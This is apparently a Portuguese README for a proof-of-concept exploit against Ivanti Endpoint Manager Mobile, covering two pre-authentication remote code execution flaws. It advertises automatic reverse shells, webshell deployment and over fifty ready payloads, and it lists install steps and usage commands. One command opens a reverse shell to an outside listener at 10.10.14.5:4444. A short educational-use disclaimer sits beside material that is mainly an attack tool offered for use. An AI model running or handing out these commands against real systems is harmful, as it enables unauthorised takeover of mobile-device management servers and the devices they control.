CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE

⚠️ AVISO: Este PoC é fornecido apenas para fins educacionais e de pesquisa em segurança. O uso sem autorização explícita é ilegal.

🎯 Descrição

Proof of Concept (PoC) completo para a exploração das vulnerabilidades CVE-2026-1281 e CVE-2026-1340 que afetam o Ivanti Endpoint Manager Mobile (EPMM). Essas vulnerabilidades permitem execução remota de código arbitrário (RCE) sem autenticação por meio de um mecanismo de Bash Arithmetic Expansion.

Vulnerabilidades

CVE-2026-1281 : Injeção de código no endpoint /mifs/c/appstore/fob/
CVE-2026-1340 : Injeção de código no endpoint /mifs/c/aftstore/fob/
Pontuação CVSS : 9.8 (Crítica)
Exploração : Ativa in-the-wild (Zero-Day)

🚀 Funcionalidades

✅ Framework de validação automatizado (8 testes)
✅ Exploração Pre-Auth RCE
✅ Reverse shell automático
✅ Implantação de webshell
✅ 50+ payloads prontos para uso
✅ Scripts de detecção para Blue Team
✅ Documentação completa

📦 Instalação

git clone https://github.com/MehdiLeDeaut/CVE-2026-1281-Ivanti-EPMM-RCE.git
cd CVE-2026-1281-Ivanti-EPMM-RCE
pip3 install -r requirements.txt
chmod +x *.py

🎯 Uso Rápido

# Teste de vulnerabilidade
python3 exploit.py -t https://target.com -c

# Validação RCE
python3 exploit.py -t https://target.com --test-rce

# Reverse shell
python3 exploit.py -t https://target.com --reverse-shell 10.10.14.5:4444

📚 Documentação

README completo - Documentação técnica detalhada
Guia de uso - Guia passo a passo
Payloads - Coleção de 50+ payloads
Guia Red Team - Cenários operacionais

🔗 Referências

👤 Autor

Mehdi Le Deaut - Consultor de Cibersegurança | Especialista em Red Team

⚖️ Licença

Este projeto está licenciado sob a MIT - veja o arquivo LICENSE para mais detalhes.

🙏 Agradecimentos

CERT-FR pelo alerta rápido
Watchtowr Labs pela análise técnica
A comunidade de cibersegurança

CVE-2026-1281-Ivanti-EPMM-RCE

Mais Populares